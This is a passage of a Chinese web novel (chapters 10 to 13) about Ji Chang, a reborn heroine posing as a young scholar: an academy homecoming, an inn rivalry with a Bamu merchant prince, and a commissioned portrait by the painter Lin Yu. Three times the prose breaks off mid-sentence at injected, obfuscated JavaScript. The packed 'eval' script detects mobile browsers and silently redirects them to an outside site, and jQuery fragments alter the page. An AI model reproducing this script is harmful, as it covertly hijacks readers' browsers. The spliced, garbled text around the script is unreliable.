原来她是季元鸿回来时途径济州时在路上偶遇的孩子,当时她正好在与鬣狗夺食,沈闻芳心软就去给了一块饼子,这孩子就黏了上来。 一路马车没日没夜的前行也甩不开她,季元鸿看她聪慧机敏于是问她要不要跟着他一块学习,之后就是现在这样紧拽着季元鸿袖子怎么都不放开的事。 季昶只是在一旁安静听着,偶尔注意到季衡在偷偷看她,于是看回去。 季元鸿笑着看二人的互动,没说什么。 众人很快到了书院,有夫子在院门口等候着季元鸿了,老友们相互问好。 马车和行李在沈闻芳的吩咐下都安顿好了,他转头想去找季昶寒暄几句却发现季昶不知道去哪儿了,于是走到温昭这边来询问,得知原来刚刚跟着季元鸿他们走了。 看着沈闻芳远去的身影,温昭的微笑凝固在脸上,长孙明轩在一旁冷不丁开口:“你与闻芳师兄不睦?” 四周并无其他人,学子们大多去围着季元鸿他们说话去了,温昭的微笑渐渐消失,道:“并未,闻芳师兄是难得的清朗之人。” 声音淡淡的随着风声吹散,若不是长孙明轩足够了解他或许也要被他骗过去。 “刚刚在路上你就一直在看他。” 刚刚沈闻芳一边同他人说话一边还不忘看向季昶,这让他不免回忆起上一世的事,所以有些失态了,没想到竟然被长孙明轩看到了。 上一世沈闻芳在季昶死后以致远书院的名义来求季昶的尸首,差点被慕容桓斩了却还是在皇宫外长跪了三天三夜,最后以未亡人的姿态一直给她守坟。 这让他怎么不在意。 “原以为明轩兄刚刚听老师讲沿途趣事听入迷了,没想到还能注意到在下?”温昭继续露出那副常见的微笑,看起来还是那么和善温良无辜至极。 长孙明轩看了有些渗人,往旁边靠了靠,挑眉道:“别跟我来这套,你我还不清楚。” 温昭要真如明面上表现出的这么无害当初就不会成为他长孙明轩的好友了。 “只是在想与老师一同去游历甚好。” 长孙明轩知道温昭不想说,也知道自己肯定问不出来了,于是只能接着说:“是啊,游历山河,看遍人间,甚好。” 10. 擦脸 夫子们正与季元鸿聊着这些时日书院的事,周围的弟子们还是更想让季元鸿讲外边发生的事,一时间讨论火热。无人在意的角落,季昶和季衡二人大眼瞪小眼,成璞正缩在一旁降低自己的存在感。 沈闻芳进门时看到的就是这样一幅情景,笑着向众人行过礼后,道:“老师,行李和书都安排人存放好了。” 季元鸿笑着点头,沈闻芳做事一向十分稳妥,这也是他往常出行愿意带着他的原因之一。 沈闻芳看没有什么其他事吩咐了,于是向一旁的季昶走过去,就看季衡也瞪向自己。 缩成一团的成璞也正悄悄看向季昶和季衡二人,一时间诡异的很。 “阿璞,不如随我先去换件衣裳,一路风尘仆仆,也没带你合适身量的衣衫。”成璞看向说话的沈闻芳,点了点头,默默跟在身后。 沈闻芳笑着想去摸季衡的头,被季衡轻易闪过,低下头好说话的商量道:“衡儿,不如等会儿让人也带你去换件衣服吧。” 季衡看着他不语。 “师兄,让她跟诗语去吧,也正好带她熟悉一下环境。”季昶冷不丁开口,随手招了诗语来,吩咐她带季衡下去换衣服。 “昶儿考虑的是。” 沈闻芳点了点头,带着成璞先出去,心中思量着昶儿许久不见是比原来沉稳许多了,就是也生分许多,不像以前那般缠着自己和老师讲外边的见闻了,也不知道是好还是不好。 季昶自然不会再缠着他们问了,重来一世上辈子早就问过了,她想了解的也大多还有印象。她刚刚在观察季衡,心中想的更多的还是为何会有这么一个人出现,是变数还是……她想多问问关于季衡的事,却不方便多提,免得引人怀疑。 但诗语从小跟着季昶,又怎会不知道她的想法,刚刚就看自家郎君一直在观察这小孩,诗语边引着她去女弟子常活动的院子,边观察她。 这小孩虽然年纪小,但看起来十分伶俐,虽然刚进来时好奇多看了些,却也没有看花眼,时刻关注着路线,诗语毫不怀疑这会功夫她已经将回去的路线记住了。 一路上有许多当值的弟子正在打扫院子,看到诗语领着一个小孩童都纷纷停下动作,一旁一个高挑的女郎问道:“这怎的有个小孩?” “回女郎话,这是季儒游历带回的学生,我家郎君吩咐带去换身衣裳。” 那几个学生一听这话纷纷上前来看着这个小孩,有好奇的想摸摸她的脸却被她凶巴巴的眼神吓住了,也有不怕她的上手捏了捏她的脸颊,被她一甩头又挣脱开了。 诗语看差不多了,虚身挡了一下她们的视线,道:“郎君他们还在等我们回去问话,不便多留,女郎们见谅。” 这些学生自然知道她的身份是季昶身旁的贴身婢女,闻言并未刁难也都让开了路让她二人过去。 季衡边走边往诗语身旁躲着,怕又被刚刚那群姐姐们逮住捏脸。 书院本身学生就不多,女学生更是少,现下也大多是未及笄的女郎,再年长些家里人就安排她们去嫁人了。所以女学生的院落虽然不算大,但也宽敞,平时存放的弟子服季衡穿着也勉强合身量。 诗语看着最小号的弟子服穿在她身上还是有种滑稽感,不由得笑出声,帮她整理衣袍,免得她等会儿踩到摔了。 “刚刚她们是看你长得可爱,没有什么恶意。”诗语帮她把弟子服整理好后看她乱糟糟的头发和脏兮兮的脸,又带她去洗脸。 温热的水打湿帕子,诗语将手帕递给季衡,示意她用这个擦把脸,就看她拿着帕子胡乱在脸上乱抹着,毫无章法。诗语无奈拿走一会儿就黑乎乎的手帕,在温水中淘洗了片刻,只好亲自给她擦脸。 季衡躲了一下,看诗语温柔似水的看着自己,犹豫了下还是让她擦了。 一时间帕子上温润的水汽和她身上的香气一同进入季衡的鼻腔,不同于刚刚自己的粗暴,她擦拭的手法柔和细腻,耳边是她如春风拂面般的话语:“我也有个妹妹,跟你这般大的时候也十分讨人喜欢,我也经常这样给她擦脸。” “看你长相,似乎不是云州人,之前一直在外流浪,一定受了许多苦。” 季衡闻言用手攥住了衣角,又怕自己的手弄黑了洁白的衣袍,于是只好两只手攥在一起,背在身后老老实实地任由诗语给她擦脸。 “来,把手给我。”诗语又用温水淘洗了一遍帕子,这次水比之前的清澈许多了,季衡遭不住她温柔的话,没犹豫就把手递了过去。 诗语认真擦拭着季衡的小黑爪,仔仔细细,感受着手上温热又有些痒的触感,似乎是挠在了自己心上,季衡还是头一次被这样仔细对待,任是再如何警惕也难免对诗语放下了心防。 “另一只。”很快就擦完了,季衡有些不舍的收回这只手,很快把另外那只放了过去。 诗语感受到小孩对她已经没有之前那么防备了,心中暗自好笑,仔细擦完手心后翻过了她的手,却看到手背上有一道长长的疤痕,一直蔓延到手臂上,刚刚给她换衣服的时候都没注意到,诗语一时间神色凝重。 季衡一下子把手缩了回去。 “没事,让我看看。”诗语还是那样温和的与她商量,口吻平常。 刚刚那道疤如果不仔细看很难看到,已经变成白色的了,大概是很小的时候伤到的,诗语很难想象这样一个看起来六七岁的孩童怎么会有这么长一道旧伤。 季衡看着诗语,看她眼中神色认真,没有其他神情,还是犹豫着把手递了出去。 诗语面色如常的给她擦拭着手,到疤痕的地方手下力道更轻,季衡的手一时间痒痒的,想抽出来却还是忍住了,看着这个跪坐着给她认真擦手的大姐姐。 “好了,走吧。” 诗语没有多问她这道疤痕的事,将梳子沾了些水给她大概梳了下头,把一些打结在一起不知道黏了些什么和解不开的头发用剪刀剪掉,原本就是难辨雌雄的年纪,这下更是看起来像个长相秀气的小孩,但说不出是小郎君还是小女郎。 一路上诗语拉着她的手,从另外一侧人少的路回去,季衡没有撒开手而是紧紧的握着诗语,不时偷偷抬头看着这个温柔的人。 季昶正在百无聊赖的听着夫子们讲着什么书院的变化,以及谁家又如何了,其他州郡局势如何等,上辈子自己已经聚精会神听完了,现下只好端坐在这处,偶尔与沈闻芳聊几句,有时候那群夫子们还会聊到沈闻芳头上,不得不打断他俩的谈话。 “此次急着赶回来,也有赶着给闻芳举办加冠礼的意思。”季元鸿一句话又扯到了沈闻芳头上,他起身说着什么麻烦诸位夫子之类的客套话,贺兰逸在一旁羡慕的要命,小声问自己啥时候能加冠。 “你?等我及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244522|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笄之后。”贺兰灏心想自己弟弟真是够傻的。 “哇,凭什么?我是哥哥为什么不能我先加冠你再及笄?”贺兰逸闻言站起来,被贺兰灏一把拉下来蹲在地上,季昶看着都疼,也多亏小胖墩屁股上肉多。 “你真是傻死了,我不跟你说话了。”贺兰灏恨不得跟别人说自己不认识他,起身坐在季昶另一侧。 沈闻芳起身给贺兰灏让位置,坐到她原来的位置笑着向贺兰逸解释: “女子是十五及笄,男子二十加冠,自然是灏儿及笄五年后你才可以加冠。” “哦。”贺兰逸心想贺兰灏离及笄也还有三年多,又无人与他说过这种事,他去哪儿知道。 “不过,男子十五束发,等灏儿及笄时你也可以束发了,”沈闻芳又想起什么,转身对季昶道,“昶儿也还有不到三年就束发了。” 季昶点点头,一转身看到诗语拉着季衡的手进门,看起来那孩子倒是与诗语亲昵多了。 才换了身衣服的功夫就能让那孩子对她依赖,不愧是诗语,如果换成砚秋说不准这俩人能打起来。 季昶一边在心中这样想着,一边冲诗语投去一个赞赏的目光,诗语点头应下又隐到一旁候着。 季衡坐下后就一直往诗语的方向偷偷看,季昶忍不住想逗她,于是向前挪动了一下身姿,将她的目光挡住了。 不能逗老实人,逗这个狼崽子总行吧。季昶心里恶劣地想着。 季衡看了她一眼,转身不与她争辩,一副“真幼稚”的样子,季昶感觉自己好像被一个小孩鄙视了。 “昶儿。”季元鸿突然出声叫她,季昶马上回过神来起身,心想说到哪儿了,刚刚没注意听。 就听季元鸿又叫到沈闻芳,说过几日会有许多外地来此的文人雅士,要他二人前去接待。 季昶一下子就明白了,三月三书院雅会,许多慕名而来的文人会提前来云澜,书院不便他们住宿所以一般都安排在月家底下的客栈,这也算是变相增加了月家的生意,还拉动了云澜当地消费,所以五年一度的书院雅会云澜上下都十分重视。 上辈子自己懒得与这些酸儒打交道,且当时自己忙着写赋,完全不想应付这些文人的“我来考考你”。 不用多想就知道,那些文人一听自己是年少天才,自然会不服气,想着考较一番。 季元鸿当时也只是想让她跟着去见见世面,不去也无妨。 不过这辈子嘛,自己作为要当主公的人自然是要什么人都得去交际了,且不说锻炼自己,就光说这些文人中就有许多有才之人,又大都是寒门出身,倘若结交一二未必不能为自己所用。 “弟子领命。”季昶和沈闻芳都应了下来。 季元鸿又吩咐了许多,二人都认真听着,有其他夫子也添上几句,之前也举办过,那时沈闻芳也是束发的年纪,跟着主办前后跑了许多。 季昶还记得上辈子这个时候是沈闻芳一个人忙的团团转,前期接待几乎整日见不到人,雅会上也忙的喝不上一口水。 季元鸿本就抱着锻炼沈闻芳的意思,自然是当撒手掌柜,也不允许其他夫子主动帮忙。 自己那时有心相帮一二,奈何整场雅会认识的人不多,也只能尽量周旋。 不知这辈子会如何,季昶这么想着侧眼看了沈闻芳一眼,沈闻芳不明所以还是回以微笑。 11. 天才 哪怕是有了预料,真正去接待这些天南海北来的人才知道他们到底有多难缠。 季昶算是明白为何上辈子沈闻芳整日见不到人,这些文人们动不动就要与沈闻芳请教几番,雅兴上来了还要饮酒唱曲,舞文弄墨,也多亏了月家招待这些人的客栈大多也做纸笔生意,这倒是又让月家赚了不少钱。 前几日无人知晓季昶身份还好,不知是哪日开始季昶年少天才的名号被透露出去,是个人都要来考教一下她这个神童是否名不副实,倒是让沈闻芳闲了下来,笑着看季昶与那些人周旋。 “呼。”季昶终于拜别了刚刚要考她学问的人,这会都有些口干舌燥,在大厅里随意找了个角落坐下喝茶。 沈闻芳吩咐其他小厮将那些带给夫子们的礼品带回去,又核对了一遍礼册才让人抬走,看着季昶身心俱疲的样子也觉得好笑。 “昶儿真是博学广识,许多见解在下自愧不如。”沈闻芳笑着以茶代酒敬了季昶一杯,季昶闻言懒懒的碰了下抬手一饮而尽。 上辈子怎么也算是桓王帐下前三的谋士,不说天文地理无所不知,也自然是比寻常士人懂得多些。 她也没敢特意卖弄,大多数都是挑一些大众能想到的角度作答,不算是过于超标,但也没有埋没了流传在外的名声。 就是没想到讲理的文人比不要脸的谋士还不好对付,季昶又给自己倒了一杯,转身看向大厅中央。 这些客栈大多在一楼大厅中央设有书桌,供文人们在此探讨学问或是切磋书画,客栈还会在雅会期间每日评比诗、赋、书、画等,头名不仅免除房费,还免费提供一刀高阳纸。 不仅头名的荣誉十分可贵,高阳纸的奖励也实在诱人。 这可是传闻中质量极佳细腻如雪的高阳纸,世家大族或许不屑一顾,但对于来此的大多数文人来说还是十分受欢迎的。 要知道他们之中大多数是寒门出身,连高阳纸的面都未曾见过,更别说能得到一刀! 众人都笑着说这客栈老板怕不是把这五年攒的高阳纸全在这几日耗上了。 今日的绘画头名不出意外应该还是大厅中央那个正在作画的青年文士。 前几日季昶来时就注意到他,只是他并未递拜帖,猜测大抵是没有什么名气的文人,季昶只远远见过他作画,下笔行云流水,胸有成竹,一看就知道是经常绘画的人。 只是这样的人衣着却十分简朴,也无人能说出他是谁,只是画上题名“育之”,季昶猜测或许是他的字。 “那位公子画技倒是非凡,质朴无华却又充斥着灵气,之前从未见过这等人才。”沈闻芳见季昶一直看向那个青年文人,也开口道。 季昶点点头,继续看那人埋头认真作画,却听到门口有动静传来,不知何时来了一群商队。 看打扮似乎是巴木人,为首的是一个五大三粗的汉子,浓密的乌发与大胡子都编成了小辫子,说着一口并不标准的中原话,时而夹杂着几句巴木语。 接待的小厮一边陪笑一边请他们先坐下,请会说巴木语的来招待。 人群中一个青年人站出来,用着中原话说了几句什么,季昶本就没怎么在意也没认真听,只是那人的长相确实让她忍不住多看了几眼。 那人看身量似乎是成年男子,裸露在外的皮肤呈小麦色,健硕的胸肌与劲瘦的侧腰形成鲜明对比,虽然隔着衣服但也能让人想象到底下是多么健美的身材。 巴木人普遍长得高大,又加上他也不及周围那些巴木大汉们长得像铁塔般,看脸似乎还未加冠……如果巴木那边有加冠这个概念的话。 不过真正吸引季昶的倒也不是他俊美的长相,而是觉得他长得有些眼熟罢了,所以多看了两眼。 那巴木人说完话后也注意到了季昶的眼神,看了过来。 正脸长得充满野性,五官深邃,丰神俊朗,浅色的眸子在光下隐约泛着青绿色,但那种熟悉感也就没有了,季昶错开眼神。 或许美人都有相似之处。 季昶低头喝着茶,继续又看向了那边作画的青年文人。 她不想再理会那些巴木商人,可刚刚那个青绿眼的巴木人还是走了过来,偏偏挡住了季昶看人作画的视线。 季昶抬头,看着那人挡在眼前,却好像没有意识到自己很碍事般侧着头跟人说些什么。 一旁小厮看自家郎君在这儿喝茶,怕这群巴木人冲撞了,连忙指路道:“几位贵客这边请!” 不由分说的将这几人引上了二楼。 “十三爷,刚刚那人可有什么不对?”一开始那个巴木汉子用巴木话低声问着,说话间给了其他几个巴木人一个眼神,似乎十三爷只要说个不对他就马上带人下去结果了那人。 被称为“十三爷”的正是刚刚那个挡在季昶身前的青绿眼。 “把刀收回去巴里戈。”十三爷不复刚刚在小厮面前那般好说话,含笑的嘴角慢慢放下,几人跟着小厮走去二楼。 “几位贵人,这边请。”小厮继续向前带路,十三爷走到一间房门口停了下来,看向一楼大厅,这个角度正好能看到正在作画的青年和季昶的位置。 “这里。”巴里戈知道十三爷要在这个房间住下,于是一把拉住领路的小厮,像拎着小鸡仔一样把小厮拎到他面前。 “贵……贵人,这个房有人住了……”小厮心想真是倒霉,遇到这些不讲理的外藩人,早知道刚刚就不跟王二狗抢这一单差事了,本以为这些人有钱无脑,却没想到这么难缠。 “赶走,给我们。”巴里戈用蹩脚的中原话说道。 小厮宁可自己聋了,闻言苦笑:“贵人们,若是旁人或许能转圜一二,这间房正是楼下那位作画的公子的住处……因为这公子已经连着几日得作画魁首,本店将一直免除他的房费……所以,这位赶不得啊。” 巴里戈听着对方叽里咕噜说了半天,本来就听不太懂他要说什么,结果看着意思还不能把这间房让出来,更是暴怒。 就要再次把他拎起来的时候被十三爷拦下了,只见他灿烂一笑,又是一副潇洒自如的模样,加上长得俊俏的确让人对他产生不少好感。 “那隔壁这间如何,这间有人的话就在这附近找间。”说话不像那些大汉那般凶神恶煞,反而言语间含笑,一副在与你谈笑风生的样子。 小厮连忙点头道:“这旁边几间和那边几间都无人,小的马上给您安排上。”说完立马找人去拿这几间房的钥匙,转手交给巴里戈后就逃也似的窜了。 “也不给把房间打开,真是什么人都能干小厮了。”巴里戈低声抱怨,给十三爷开了门。 十三爷站在二楼走廊往楼下看了一眼,刚刚那个小郎君还坐在那里,正在跟一旁的青年说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十三爷拨弄着手上的红珊瑚串,并未说什么,他低着头看着季昶,不太明白这个人身上那种奇怪的感觉,直觉告诉他这个人需要重点关注。 “他呢?”十三爷随手指了一下季昶,一侧的黄金耳环上镶嵌的红玛瑙在灯光下闪烁着奇异的光。 “他?就是这个客栈东家的孩子,听说叫季什么。”巴里戈想了想还是没记住这些中原人的名字,只是突然想起来道:“喔,他们还说这个人是少年天才。” 说完自己和周围的巴木人都发出了嘲笑声,十三爷也勾起了唇。 他们巴木谁人不知,眼前的十三爷才是部落里百年难遇的圣子,先知曾于他降临时亲自许下此子未来带领部落走向辉煌的预言,而十三爷也的确是年少就智谋双全。 才十六岁的他就已经带领商队跟这些中原人做生意了。 巴里戈这样想着,看了一眼十三爷,又看了一眼像小鸡仔的季昶,再次不屑的翻了个白眼,这边的男子一个个抹的跟糕点似的又香又白,路过都得呛死人,腰还没他胳膊粗,还少年天才,切。 这他就冤枉季昶了,她原本就有些轻微的鼻炎,户外都是戴口罩,来到这个世界她也没擦香粉戴香囊的习惯,偶尔熏个衣服又被这外藩人蛐蛐。 季昶突然打了个喷嚏,心想是不是这边文人浓度过高,空气中香粉含量过多了? 12. 画像 青年文人很快又作完了一幅画,又是一幅花鸟图,季昶心想他或许比较擅长这个,又仔细琢磨等会儿如何开口结交此人。 就在他要提笔落款时,一旁的砚台里突然掉进了一串珠子,墨汁溅在了画上和站在一旁的季昶身上。 她今天刚换的月牙白色长袍,还是月家刚出的水月纹饰,太阳一照银白色的丝线绣的纹饰浮光涟漪,连她这个不怎么懂穿搭的都觉得好看。 季昶甚少穿纯白色,本来打算着穿个新衣裳,真是倒霉。 还未抬头看罪魁祸首是谁,就听二楼传来一个欠揍的声音: “哎呀,刚刚珠子没拿稳,没伤到人吧?” 季昶抬头一看,又是那天的青绿眼,双眼含笑站在二楼,一副反派角色出场的架势,心想这都多经典的桥段了,你要不是故意的我就不姓季,但嘴上还是先问那作画青年: “育之兄,这画……” 季昶也没想到自己跟这个作画青年的第一句话竟然是这样的展开。 育之正皱着眉头看着画,画上被溅上了墨滴子,但好在大多都是向季昶那边飞溅的,所以画上的都是零散几个,季昶都为育之感到可惜,这幅画本来还打算买走呐,她十分喜欢这画上的喜鹊。 育之摇摇头,示意无妨,在被撒上墨点的地方又画出一支树杈,上边画上零星几个花骨朵,虽说将整幅画的上半留白打破,但也算是别出心裁的设计,育之稳稳写下自己的名字,将笔放下。 “只能补救一二,却有点画蛇添足了。”育之苦笑,不过在众人眼里这就是极为谦虚的表现了,不少人在附和说他这一笔添的妙,还有人在询问这画多少钱能卖。 马上就三月三了,知道这个青年文人估计也是来参加雅会的,过了雅会这青年说不准就名声大噪,那个时候这画就指不定卖多少钱。 育之婉拒众人,担忧的看向季昶,询问道:“小友的衣衫如何了?”他虽然看不出这料子价值几何,但看季昶的打扮也知道必然是不菲,这料子被墨水染上了这件衣服算是废了。 季昶摆手表示无所谓,却看向了正从二楼下来的青绿眼,那巴木人还一副笑嘻嘻的样子,一汪含情目现下只让人觉得欠揍。 “你这衣裳价值多少,本公子赔你。” 十三爷走下楼梯,身后跟着两个五大三粗的巴木人,只看向季昶轻飘飘的说要赔偿,全然不提那画同样被染了的事。 “不必,这位郎君还是先给育之兄道歉吧。”季昶说着,仔细看着这个青绿眼,如果她没感觉错,这个青绿眼从住店起就有意无意打量自己,他旁边的那个胡子编小辫的大汉还问过育之的事,眼下他这又是想唱什么戏? 青绿眼浓眉大眼的,却一点都不老实,挑了挑眉头看了看那画,嘴里说出来的话更是气人:“就这玩意,也配本公子道歉吗?” “你!”周围有人受不了他这样挑衅,又看在他身后那几个铁塔大汉的份上不敢冲动,都气愤填膺的看着他。青年文人只是招来小厮,将这幅画挂上待看官们评判。 画干的差不多了,小厮小心翼翼卷起来,双手捧着,刚要走就被巴里戈拦住,小厮不敢抢画怕弄坏,被巴里戈拽了去,递给了十三爷。 “让我看看……”十三爷把画随意展开,一点也不爱惜的样子让周围文人都红了眼,那青年文人倒是淡漠如常,看不出什么愤懑之色,季昶又点点头,临危不惧,波澜不惊。 “的确画的尚可,不过这几日我看你似乎只会画花鸟……仅仅如此也配得上魁首吗?”说完把画随手一扔,一旁的小厮连忙接住,季昶示意把画拿过来,小厮快步递上。 那日招待十三爷的小厮悄摸上前,在季昶耳边说了当时选房间的事,季昶点了点头让他先下去。 “这位公子莫不是因为想抢育之兄的房间而故意为难人?”在她月家的地盘上,就是巴木的王来了也不能欺负她看上的人。 “哈哈哈,我不过是觉得他名不副实罢了,怎么,他可还会画其他的?”十三爷仰天大笑,身后的小辫子随着动作扬起,上边装饰的金饰叮铃作响,看起来十分嚣张跋扈。 “在下的确更擅山水花鸟。”青年文人出来淡淡解释一句,若平时他也就退一步罢了,总之这种难缠的人他也不是第一次见识,但他看出季昶要给自己出头,那就不能轻易抚了人家的面子,更何况对方是个外藩人,难道还要在大乾的地盘上被人欺负了吗? “好,那你就作一幅人物画像,由本公子来评判一下你到底够不够格。”这话说完,眼神朝着季昶撇去,季昶眉头一挑,心想原来这是冲自己来的。 “那在下就为公子作一副画像。”育之不卑不亢的说完,一旁小厮也十分有眼力见的给他呈上纸。 “不,画他。”十三爷果然指向了季昶,在暗处跟着的家丁围了上来,砚秋也赶了过来护在季昶身前。 刚刚她就是去给郎君买个点心的功夫,怎么就又有不长眼的来找事。 季昶拨开身前挡着的人群,笑语晏晏的:“好啊,不过总不能让育之兄白白画这一副,万一画完你又故意戏弄人说不满意,岂不是浪费了育之兄和在座各位的时间。” “一百两白银一副画,如何?” 此话一出周围人都抽了一口冷气,育之即使再怎么技艺过人,也不是什么名流大家,一幅画一百两,许多人这辈子没见过这么多钱。 育之也从来没画过这么贵重的画,他之前卖画或是给人代笔,几两银子就是顶天了,也就是他喜好画画所以买纸笔消耗多些看着穷困潦倒的,十两银子就能够一户五口之家一年生活了。 更何况平常百姓一般用五铢钱或是粮食交易,好多人连银子什么样都没见过,季昶说出这话其实也有为了探探这个巴木商队底细的意思。 “好,不过画完后这画像就任凭我处置。”说着从一旁袋子里掏出一块金子,这个时候的金与银比例在1:10,等到了大乾内乱时甚至能到1:15或1:20。这锭金子大概是十两,看成色似乎价值更高。 “育之兄,请画吧。”季昶说完,站在一旁。 她的画像早就被许多人所知,说不定过几年束发后就有许多家长拿着她的画像,问自家女郎是否合心意。 所以至于他拿去撕碎还是诅咒都无妨,她只是想出口气,顺便坑他点钱。 育之看季昶答应,也没有犹豫,仔细画了起来,周围看官又重新围了上来,议论纷纷,大抵是夸他有巧思之类,总之一个比一个夸的大声,生怕那个青绿眼的巴木人听不到。 等待的间隙,十三爷和季昶也没闲着,互相试探几句,但也都相互保留,没探出什么。 砚秋在一旁等着郎君一声令下,她就把这个长得俊俏的巴木人那双青绿眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244524|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给抠下来,让这个巴木人一双眼滴溜着乱看。 巴里戈一行人也手握着匕首,互相之间剑拔弩张。 随着最后一笔落款结束,育之放下笔,周围的看官都发自内心赞叹连连,比刚刚故意气巴木人的话还要大声。 两位小厮立马上前轻扇着风,让这画干的快些,扇着扇着两人也看入了迷。 这一副怎样的画,画中远处是高山流水,近处是一位风度翩翩的少年郎侧着身子站在劲竹之间,如一棵松柏挺立,手上握着一卷书,脸因角度遮挡了大半,却能通过衣着神态看出正是季昶本人。 季昶没看错,此人将来必定大有作为,而现在嘛…… “这位公子,”季昶看向十三爷,笑着提醒他该给钱了,“巴木人总不能言而无信吧。” 十三爷看着这画半晌,低头笑着承认这人的确技艺高超,于是让巴里戈将金子递给了育之,随后将画和一旁的珊瑚串子收起来。 这次倒是比之前动作轻了许多。 刚刚那些看官们好多都不屑的看着那一行人回了楼上。 “多谢小友相助,只是这金子实在不敢收下。”育之向季昶行礼,他知道季昶刚刚是为了给自己撑腰,但他自认画技还没有到百两的地步,所以打算还与季昶。 “还一直未与育之兄正式介绍自己,在下季昶,师从季元鸿,正是此次雅会举办书院的学生。” 有好多认出季昶来的小声给从外地来的文人介绍这位的神童往事,没认出来的一听“季元鸿”的大名也顿时肃然起敬。 “在下林榆,字育之。原来是季儒的弟子,失敬。”说完又要拱手,季昶只好也回礼,她笑着对林榆说: “育之兄何必如此谦逊,在下随老师游历各地,也从未见过年纪轻轻便画技如此高超之人,今日得幸与育之兄结识真乃一大喜事。” “至于是否值百两,在下看来育之兄的画作总有一日千金难求。” 林榆知道季昶这是要给自己造势,顿时十分感动,他林育之前生一心画画,又加上出身寒门,受尽了白眼,却没想到会有一日被人这么捧着,这人还是季元鸿之徒,一腔热血几乎要让他落泪。 这大厅里的喜乐与二楼某间房无关,十三爷刚回房,坐在了桌前,一旁的仆从马上给他倒茶,巴里戈倚在门口看着底下一群人其乐融融,不屑的切了一声。 “巴里戈。” 他立马不敢再看,关上了门,欢声笑语隔绝在门外,将手上抱着的画递给十三爷,珊瑚串子也被下人们拿去洗干净了,一块放在桌上。 “季昶。” 他薄唇轻启,呢喃着这个名字,缓缓展开那副画,画上的人的确是颇有风姿,只不过少了方才与他谈话时狡黠的意味和那时眼神中的沧桑。 他也拿不准自己怎么就答应了这看起来荒谬的生意,一锭金子换一副画像,说出去让人想笑。 算了,就当是在中原赚了不少钱,这会儿买个乐呵。 十三爷随手捞起刚刚那串珊瑚珠子,打算赏人,他从来不要这种脏了的东西,身旁的仆从都心底盘算着这次十三爷要赏给谁,却迟迟没听到他说话,也不敢抬头。 “算了。”十三爷把珊瑚串子又缠上了左手腕,刚丢了一锭金子买了个教训,丢了这串到时候还得买新的。 新的可不一定比这串盘起来合心意。 13. 雅会·壹 三月三雅会在即,季昶也没有再来过这个客栈,结识了林榆她这两天的目的也已经达到了,剩下的时间她就跟着沈闻芳仔细核对雅会的事宜,怕出岔子。 不过沈闻芳向来办事仔细又效率高,许多别人想不到的事他也能提前考虑到,季昶自然是没有太多帮忙的地方。 于是季昶在最后核对了一遍当天酒水之后就瘫在书房中看孩子。 看的正是贺兰双子,这俩人现在正在给她显摆自己新做的衣裳,季昶对这方面不如他俩了解,只能在一旁尴尬的坐着,偶尔看一眼林榆的那幅画转移一下注意力。 上次林榆作的那副被撒上墨的画最后送给了季昶,虽说本来那客栈就是她家开的,她想要当然是可以去随便拿,但是人家亲自送上的还是不一样。 林榆起初还觉得十分不好意思,非要再画一幅送她,季昶忙摆手说这幅是他俩初相识的第一幅画,更有意义,给人家感动的不行。 后来又连夜画了几副全送给客栈了,季昶打算等他出名了就把这些画每个客栈挂一副,挂满整个云州。 “你说这件粉蓝牡丹会不会比这件鹅黄流云纹的好看?”贺兰灏星星眼的看着自己小伙伴,季昶只好偷偷看砚秋,看她偷偷指鹅黄那件于是跟着指,果然贺兰灏看了后想起了什么,高兴地说道:“你好像有一件跟这个花样差不多的白底金纹衣袍,明天就穿那件如何?” 季昶点点头,不发表意见。 恕她直言,这个朝代的眼光可能跟自己的审美不太相同,好多她觉得还挺好看的花色都被嘲笑俗气,好多她完全没法懂的衣袍反而大受追捧。 可恶,明明她还在原来世界的时候从来没有人说过她的穿搭土啊! 所以月姨从来不让她染指月家衣裳生意,平日里她的衣服也基本是靠砚秋她们搭配,或者就穿一些不会出错的颜色之类。 “不行,季昶要跟我穿宝蓝色!”因为贺兰逸小叔年轻的时候就总穿这个色,后来季昶也穿过几次,贺兰逸觉得他俩穿着特俊俏,所以自己也喜欢穿。 季昶摸摸鼻头,她还是觉得穿这种亮色有些装嫩的嫌疑,自己也老大不小了…… 贺兰双子又吵起来了,最后定下季昶穿靛蓝金云纹的衣袍,这下俩人都满意了,就是砚秋觉得这件衣服太老气,自从做出来就没给她穿过,但是看自家郎君非要穿那就穿吧。 第二日她穿着这衣服亮相的时候沈闻芳愣了愣,他今日穿了一件水青色长衫,上边绣着翠竹,十分适合他。 “昶儿,你还是头一次穿这种颜色的衣服。” 不止是沈闻芳愣住了,其他人也有好多头一次见季昶穿这么沉稳的颜色,仔细看季昶似乎也比年前长高了不少,整个人都没有之前那般张扬了,让人莫名就觉得似乎季昶不一样了。 “昶儿倒是难得稳重了。”远处坐着的冯自秋捋了一把胡子,对季元鸿说道。 